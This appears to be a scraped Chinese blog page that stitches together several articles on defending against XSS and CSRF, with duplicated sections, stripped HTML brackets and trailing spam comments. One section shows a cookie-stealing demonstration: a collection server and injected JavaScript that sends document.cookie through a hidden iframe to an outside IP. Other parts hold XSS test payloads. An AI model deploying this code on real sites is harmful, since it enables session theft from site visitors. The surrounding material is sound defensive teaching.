前端xss攻击视频(xss攻击拦截器)

今日体育 2022年05月30日
本文导读目录:

如何正确防御xss攻击

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

XSS攻击的定义,类型以及防御方法?

XXS攻击全称跨站脚本攻击,是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他使用的页面中。

XSS攻击有哪几种类型?下面就由锐速云的小编为大家介绍一下

经常见到XSS攻击有三种:反射XSS攻击、DOM-based型XSS攻击以及储存型XSS攻击。

[if !supportLists]1、[endif]反射型XSS攻击

反射性XSS一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计链接的时候,恶意代码会直接在受害主机上的浏览器上执行,反射型XSS通常出现在网站搜索栏,用户登入口等地方,常用来窃取客户端或进行钓鱼欺骗。

[if !supportLists]2、[endif]存储型XSS攻击

存储型XSS攻击也叫持久型XSS,主要将XSS代码提交储存在服务器端(数据库,内存,文件系统等)下次请求目标页面时不用在提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。储存型XSS一般出现在网站留言,评论,博客日志等交互处,恶意脚本储存到客户端或者服务端的数据库中。

[if !supportLists]3、[endif]DOM-based型XSS攻击

DOM-based型XSS攻击它是基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞。

如何防御XSS攻击?

[if !supportLists]1、[endif]对输入内容的特定字符进行编码,列如表示html标记等符号。

[if !supportLists]2、[endif]对重要的cookie设置httpOnly,防止客户端通过document。cookie读取cookie,此HTTP开头由服务端设置。

[if !supportLists]3、[endif]将不可信的输出URT参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要进行格式检查

[if !supportLists]4、[endif]不要使用Eval来解析并运行不确定的数据或代码,对于JSON解析请使用JSON。Parse()方法

[if !supportLists]5、[endif]后端接口也应该要做到关键字符过滤的问题。

如何解决繁琐的WEB前端的XSS问题

后台做一层过滤,前台文本编辑器可以自己做一层标签过滤,不允许一些符号的输入就行了

xss攻击前端能做的有限

因为好多都是url转码来通过参数找漏洞,所以后台也要做一层过滤(例如nodejs的sql库就只允许单行sql,防止通过xss做注入)java之类的有现成多xss过滤器

剩下的就做ip黑名单吧,防止多次攻击

如何防止xss攻击,需要过滤什么

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

如何用前端防御XSS及建立XSS报警机制

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。

我来说两句
黑客技术 3年前 (2022-05-30) | 回复
如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十
offwhitehoodie 1年前 (2023-11-28) | 回复
Thanks for all of the effort on this web site. My mother loves engaging in investigations and it's simple to grasp why. Most of us know all relating to the lively method you deliver rewarding tricks by means of the web site and in addition improve contribution from other individuals on this topic while our own simple princess is studying a lot. Have fun with the rest of the new year. Your performing a very good job.
hermesoutlet 11个月前 (12-15) | 回复
I really wanted to type a small word so as to say thanks to you for the amazing guides you are sharing here. My time-consuming internet look up has at the end of the day been honored with awesome details to share with my friends and classmates. I would say that we website visitors actually are quite blessed to dwell in a very good place with many wonderful individuals with beneficial methods. I feel quite blessed to have seen your entire web pages and look forward to plenty of more excellent times reading here. Thanks once more for a lot of things.
goldengooseleopardsneakers 11个月前 (12-25) | 回复
My wife and i got excited Louis could finish off his reports while using the ideas he got when using the web page. It is now and again perplexing just to choose to be offering things that many men and women could have been trying to sell. And now we consider we need the writer to appreciate for this. The type of illustrations you have made, the simple website navigation, the friendships you can give support to instill - it is all great, and it is facilitating our son in addition to the family reason why the theme is thrilling, which is certainly exceptionally fundamental. Thank you for the whole lot!
goldengoose 11个月前 (12-25) | 回复
I and my pals were found to be analyzing the best advice from your web page then before long I had an awful feeling I had not thanked the website owner for those tips. My women were certainly happy to learn them and already have without a doubt been loving those things. I appreciate you for really being quite accommodating and also for choosing this form of smart topics most people are really eager to be aware of. My personal sincere apologies for not expressing gratitude to earlier.
jordanoutlet 11个月前 (12-27) | 回复
I'm also commenting to let you know what a outstanding experience my girl encountered studying the blog. She even learned plenty of issues, most notably what it is like to have an ideal teaching mindset to have others quite simply fully grasp several tricky issues. You actually exceeded people's expected results. Many thanks for distributing the helpful, safe, informative and in addition fun tips on your topic to Evelyn.
paulgeorge 11个月前 (12-29) | 回复
Needed to write you the little bit of observation to finally give many thanks once again for these breathtaking advice you've shared here. It's incredibly open-handed with you to present freely all that many of us could possibly have sold as an electronic book to help make some cash for their own end, most notably seeing that you might well have done it in case you considered necessary. The advice additionally acted as the fantastic way to be sure that some people have the same dreams like my own to grasp much more in terms of this issue. I think there are several more pleasant occasions in the future for those who find out your blog post.
bapehoodie 11个月前 (12-30) | 回复
I truly wanted to type a small message to appreciate you for all the awesome suggestions you are giving out at this site. My time consuming internet look up has at the end been compensated with excellent content to write about with my co-workers. I 'd tell you that many of us website visitors actually are undeniably blessed to exist in a remarkable website with so many awesome individuals with insightful techniques. I feel very privileged to have seen the web pages and look forward to so many more amazing times reading here. Thanks again for everything.
supremetshirt 11个月前 (12-31) | 回复
I just wanted to develop a simple message so as to thank you for all the marvelous pointers you are giving on this site. My rather long internet research has now been honored with wonderful concept to write about with my family. I would point out that we website visitors are unequivocally lucky to dwell in a really good community with many marvellous professionals with helpful techniques. I feel very much grateful to have used the webpage and look forward to plenty of more enjoyable minutes reading here. Thanks once again for all the details.
goldengoosesneakersmen 11个月前 (01-02) | 回复
WONDERFUL Post.thanks for share..more wait .. ?
kdshoes 11个月前 (01-02) | 回复
I in addition to my guys were reading through the good tricks from your website and so unexpectedly I got a horrible feeling I had not thanked the website owner for those secrets. All of the boys became happy to study them and now have surely been taking advantage of those things. Many thanks for truly being so kind and then for making a choice on certain impressive useful guides millions of individuals are really eager to be aware of. Our own honest regret for not saying thanks to sooner.
kyrie7 11个月前 (01-04) | 回复
I intended to draft you the little bit of observation to be able to thank you very much once again for those beautiful things you've documented at this time. It's really extremely open-handed with you to offer easily all a number of people would've sold as an electronic book to generate some money for their own end, chiefly seeing that you could possibly have done it in the event you wanted. The tips as well acted as a good way to fully grasp someone else have the same dreams similar to my own to realize lots more pertaining to this problem. I believe there are thousands of more pleasant times in the future for many who see your site.
goyardstore 11个月前 (01-05) | 回复
I have to point out my affection for your kindness supporting men who absolutely need assistance with that question. Your special commitment to getting the message up and down became especially practical and has all the time helped workers just like me to achieve their endeavors. Your amazing valuable guide can mean so much a person like me and still more to my colleagues. Regards; from everyone of us.
offwhite 11个月前 (01-06) | 回复
I and also my buddies came taking note of the best suggestions found on your web site while immediately I got an awful feeling I never expressed respect to the blog owner for those techniques. All the young boys came as a consequence very interested to read them and already have honestly been loving those things. I appreciate you for turning out to be so kind and also for deciding on these kinds of superb areas most people are really eager to learn about. Our own honest apologies for not expressing appreciation to you earlier.
abathingape 11个月前 (01-07) | 回复
I would like to show some appreciation to the writer for bailing me out of this particular matter. Right after searching through the world wide web and finding solutions which were not helpful, I figured my entire life was well over. Existing without the solutions to the problems you've fixed as a result of your article content is a critical case, and the ones which could have in a negative way damaged my entire career if I had not encountered the blog. Your good capability and kindness in maneuvering all things was very useful. I don't know what I would have done if I hadn't come across such a thing like this. I can at this time look ahead to my future. Thanks a lot very much for your skilled and result oriented help. I will not be reluctant to suggest your web site to anybody who needs to have care about this subject matter.
jordanshoes 11个月前 (01-10) | 回复
I want to express my appreciation to you for rescuing me from such a challenge. After researching throughout the online world and finding tricks which are not helpful, I assumed my life was done. Living without the presence of answers to the difficulties you've solved through the post is a serious case, and ones that would have in a negative way affected my career if I hadn't discovered the website. The natural talent and kindness in dealing with all the pieces was invaluable. I don't know what I would have done if I had not discovered such a step like this. I am able to now look forward to my future. Thanks so much for this professional and amazing guide. I won't be reluctant to suggest your web blog to anybody who will need recommendations about this issue.
offwhite 11个月前 (01-11) | 回复
I would like to convey my respect for your kindness in support of folks who have the need for help on the area of interest. Your real commitment to getting the solution along had become astonishingly interesting and have continually helped men and women much like me to reach their aims. Your own important information can mean much to me and a whole lot more to my office workers. Best wishes; from everyone of us.
supremeclothing 11个月前 (01-12) | 回复
I wish to express my appreciation for your kind-heartedness giving support to those who need assistance with in this study. Your very own dedication to getting the solution all over had been extraordinarily effective and have frequently allowed workers just like me to attain their aims. Your personal useful report can mean so much to me and much more to my colleagues. With thanks; from each one of us.
goldengoosesliders 10个月前 (01-13) | 回复
very good publish, i definitely love this website, carry on it
offwhiteshoes 10个月前 (01-17) | 回复
I simply wanted to post a quick remark to thank you for all of the magnificent ways you are giving out at this website. My rather long internet look up has now been honored with high-quality details to go over with my companions. I would point out that most of us readers are really lucky to be in a perfect community with so many outstanding people with helpful plans. I feel pretty grateful to have seen your entire web pages and look forward to some more exciting times reading here. Thank you once more for all the details.
supreme 10个月前 (01-18) | 回复
